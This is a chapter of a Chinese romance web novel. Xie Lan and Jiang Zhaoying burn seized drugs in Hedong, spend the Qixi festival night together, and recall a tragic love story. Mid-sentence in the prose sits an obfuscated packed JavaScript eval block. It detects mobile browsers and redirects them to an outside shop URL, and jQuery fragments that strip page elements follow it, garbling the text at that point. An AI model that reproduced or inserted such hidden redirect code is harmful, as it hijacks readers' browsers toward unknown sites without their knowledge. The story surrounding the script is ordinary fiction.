43. 七夕

作品:《清冷权臣他后悔了

    十天后,小漫的尸体被人发现,她死在城外不远的河边。


    自张府被抄家后,谢澜命人看守城门,每日来往百姓需要仔细查验过才能放行。


    这种情况下,小漫还能出城,看来是有人相助。


    不过那人只帮她出了城,后面不知因何事又要了她的命,至于她的孩子,则下落不明。


    *


    十日,足够谢澜肃清河东府的贪官,和收罗商户所藏五石散。


    五石散堆积成小山,百姓看着眼前,害他们家破人亡之物,不禁落下泪来。


    老者,泪眼浑浊,他们的孩子,夫君,都是被五石散夺去了性命。


    妇人,脸上青一块红一块,是被用过药的相公打的。


    孩童,他们稚嫩的脸上满是疑惑,大人们不是都喜欢吃这些东西吗,现在为什么要烧了。


    姜照影上前点燃柴垛,火星燎燃,不多时升起熊熊烈火,火光倒映在每个人的脸上,在他们眼中写满希望。


    河东府又恢复了久违的热闹。


    七夕之夜,玩花灯,游画舫,高台上唱戏的伶人,演绎牛郎织女的故事。


    话说,王母娘娘拔下金簪,凌空一划,一条天河横亘,牛郎织女二人从此不复相见。


    织女想念牛郎,日日垂泪,牛郎和孩子一个没了夫人,一个没了母亲,一家人天各一方,始终不能团圆。仙鸟喜鹊可怜他们,于是每年七月初七,瞒着王母,成群在天河上架起鹊桥,让他们能见上一面。


    据说,这日,在葡萄架下,能听到织女二人秘语。


    不过,这终究是人家夫妻之间的事,一个外人还是不便听的。林启就很知趣,坐在客栈二楼临窗的位置独酌,今晚就是有天大的事,他也不会去打搅谢大人和少夫人的。


    姜照影拉着谢澜往桥上去,他们寻了个视野最为开阔的地方,看画舫。


    两层的画舫外,彩灯高挂,红帐轻垂,微风拂过,掀起一角,露出里面绝色容颜。


    “真好看。”姜照影不禁叹道。


    话音落下,烟火升腾,照亮天幕,似花,似雨。


    “你也很好看。”谢澜的声音被烟火盖住,姜照影没有听清。


    “大人在说什么?”姜照影朝谢澜靠近了些。


    又是一声巨响,彩光遮天,姜照影脸颊染上斑斓,叫她看上去不那么真切。


    谢澜只怕这是一场梦,抬手将她额前碎发挽至耳后。


    感受到谢澜的动作,姜照影侧首看来。


    女郎杏眼含水,眸光澄澈,长睫轻栗,她看着他,等他的回答。


    “我说夫人甚美,我很喜欢。”谢澜眼中笑意快要漫出来,姜照影赶紧转过头去,只当没听见,不过她绯红的耳尖,出卖了她。


    画舫看过,二人从桥另一边下去,姜照影被路边的面具吸引。


    她拿起一个,系在面上,想要吓谢澜,不想倒是叫他面上的夜叉面具唬住,连连后退,好在谢澜上前扶住她。


    “你没事吧?”


    谢澜扯下面具,露出和夜叉全然不同的,清俊卓绝的脸,叫人心动。


    他是世家公子,自出身便和普通百姓不同,周身带着旁人不可靠近的贵气,举手投足无不赏心悦目。


    姜照影承认,她从未有一刻忘记他,二人第一次在谢家外见过后,她便将他刻进了心里。


    “没……没事。”姜照影站稳后,谢澜的手才不舍得松开。


    姜照影不去看他,面上热得厉害,她想,自己身上的毒不是已经解了吗,为何还会如此?


    正想着,店家走来,手里拿着一个狐狸面具,对谢澜道:“大人,我这狐狸面具,和娘子的是一对,要不要买下来。”


    姜照影知谢澜性子,不会喜欢这些小玩意,正要替他拒绝,却见他接过店家的面具,系上,然后走到她身侧,搂住她的肩,用面具轻轻敲了敲她的。


    “店家,我们登对吗?”谢澜问,语气好似二八少年,张扬恣意。


    店家点头,一双眼睛,笑起来只剩一条缝:“登对的,大人和这女郎很登对。”


    谢澜给了店家一锭银子买下面具,要走时,店家叫住二人:“大人娘子且慢,我这还有许愿树,可灵了。”


    姜照影顺着店家所指方向看去,原来店家的摊子,倚靠在一颗老槐树下,树根盘踞,枝干需两人才能合抱,往上便是如一个个铃铛似的槐花。


    微风吹过,轻抚花枝,摇曳无声。


    姜照影奇道:“这如何许愿?”


    不见红绸,又无笔墨,莫非是心诚则灵,全靠意念?


    “非也,非也。”店家捋了捋花白的胡须,高深莫测道:“娘子请看。”


    店家身前的小桌上,不知道何时出现两个杯盏,里面倒满浅绿酒水。


    酒水清香,引人想要来上一杯,品尝香甜。


    不过姜照影到底是忍住了,后面便听店家道:“这老槐树如今已有上千年,是月老在凡间时,亲手所植,能佑姻缘,保平安,饶是无缘之人,只要给树喂下这酒水,便是在月老那里登了册,日后纵使千里也会相遇的。”


    “那若是有缘之人呢?”谢澜问。


    “有缘之人,万事顺遂,无磋无磨到白头。”店家说完,拿起酒壶饱饮一口。


    “好酒,好酒啊。”店家有些醉了,自顾自去一旁的椅子上坐下。


    姜照影看了眼谢澜,道:“这店家倒是,树没醉,他先醉了,想来是这酒水味美。”


    她说完,拿起桌上其中一杯酒,就要喝下,被谢澜拦住:“这是喂树仙喝的,你若想喝,我待会儿买给你。”


    “大人,你真相信了?”姜照影讶然。


    这还是她认识的,冷心冷意,目下无尘的谢澜吗,他竟会相信,一个路边先生,随口胡诌之言?


    谢澜没有则声,而是恭敬的把杯中酒水,沿树根倒下,姜照影见他这般,也学着他的样子,倒了杯中酒水。


    *


    月上中天,人群渐散,街道寂静,走在路上脚步有了回声,河岸边已没有绿叶的柳条,随风而动,激起的涟漪,推动湖面暗影。


    二人走累,可谁也没有提出回去,他们走到供人歇脚的凉亭,谢澜从袖中拿出锦帕,擦拭石凳后,才让姜照影坐下。


    四周寂静,只能偶尔听见两声犬吠,鸟鸣。


    不远的山寺,传来晨起钟声,天似乎快亮了,可如织的繁星,还在同月争辉,迟迟不肯落下。


    “送给你。”谢澜递过来一个漆盒。


    姜照影接过打开,是一只玉簪,簪头是雕刻的竹叶,簪身则用金箔包裹起来,然后细细打磨,金玉完全贴合。


    “这是?”姜照影


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16895881|190366||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    看着盒中的簪子,心中有些复杂。


    “这是前年我送你的生辰礼。”谢澜顿了顿:“上次在清河县时,不小心摔断了,这些时日我一直在修补,昨日总算修好了,不过不知道你还喜不喜欢?”


    他看着她,如深潭的眸中,泛着银光,却又有独属于少年的炙热。


    他问她还喜不喜欢,是问人,还是问物?


    若是问人,她的喜欢对他来说重要吗?


    半晌,亭中无话,四目相对,仿佛有无形的东西将二人笼罩,他们感受彼此的呼吸,聆听对方的心声,那一刻,姜照影觉得自己可以完全信任谢澜。


    她依心,答道:“当然喜欢……”


    话音未落,便被谢澜揽入怀中。


    月光西斜,亭下身影被拉长,他们紧紧依偎,想来是久别重逢的恋人。


    不远处,拱桥上被搀扶的妇人,对身侧的男子道:“我们走吧,不要打扰了人家。”


    谢澜终于舍得放开姜照影,这时一道身影闯入他们的视线。


    那往桥下走的身怀有孕之人,好像是吴昊的妻子,这么晚她为何还在外面。她身边搀扶他的男子又是谁?


    姜照影好奇,要跟上前,被谢澜阻止:“她如今找到了归宿,我们该替他她高兴。”


    桥上两道身影,慢慢下桥,直到融入夜色,再也看不见,姜照影才收回视线。


    是啊,她该替吴昊妻子高兴,更替阮娘子高兴。


    阮娘子弥留之际,最是放心不下吴昊妻子,她把所有的过错都扛在自己身上。


    认为若不是自己吃五石散成瘾,吴昊也不会为了钱,威胁张书珩,丢了命。


    吴昊妻子,也就不会成为寡妇,未出世的孩子,也不会一出生就没了父亲,吴昊的父母也不会白发人送黑发人,承受世间极苦。


    她不能原谅她自己,在生命尽头,她日日诵经念佛,只为来世,再也不要遇见吴昊。


    阮娘子是在吴昊尸身被发现的那日死的。


    她无依无靠,没人知她父母葬在何处,作为无根之人,梦呓楼本要把她随意安葬,是吴昊妻子接她回的家,并且把她和吴昊安葬一处,让她死后能有归倚。


    吴昊妻子从未恨过阮娘子。


    她和吴昊是父母之命媒妁之言,二人没有感情。从外人看来,是阮娘子插足她和吴昊,实则是她不应该出现在阮娘子和吴昊之间。


    二十年前,吴家和阮家一墙之隔,吴昊是穷家小子,阮娘子是富家千金,二人青梅竹马,约好长大要在一起。


    幼时的他们,不知情为何物,随口胡说。


    但长大后,他们才惊觉,幼时的约定,早已在他们心中生根发芽。


    阮家只有独女,且对吴昊也满意,二人十六岁那年定下婚约,本是一段佳话。


    可命运弄人,阮家败落,吴家担心受牵连,逼着二人取消婚约。


    阮娘子彻底没了倚靠,被人卖进青楼。


    二人本就该这般断了,可吴家父母没想到,自己的儿子痴情至此,明知阮娘子已不是清白之身,也要执意和她在一起。


    为了她甚至连命也不要。


    某种意义来说,吴昊之死,同他的父母不无关系,所以当吴昊妻子,要把阮娘子和吴昊葬在一处时,他们没有反对。


    算是承认了阮娘子的身份。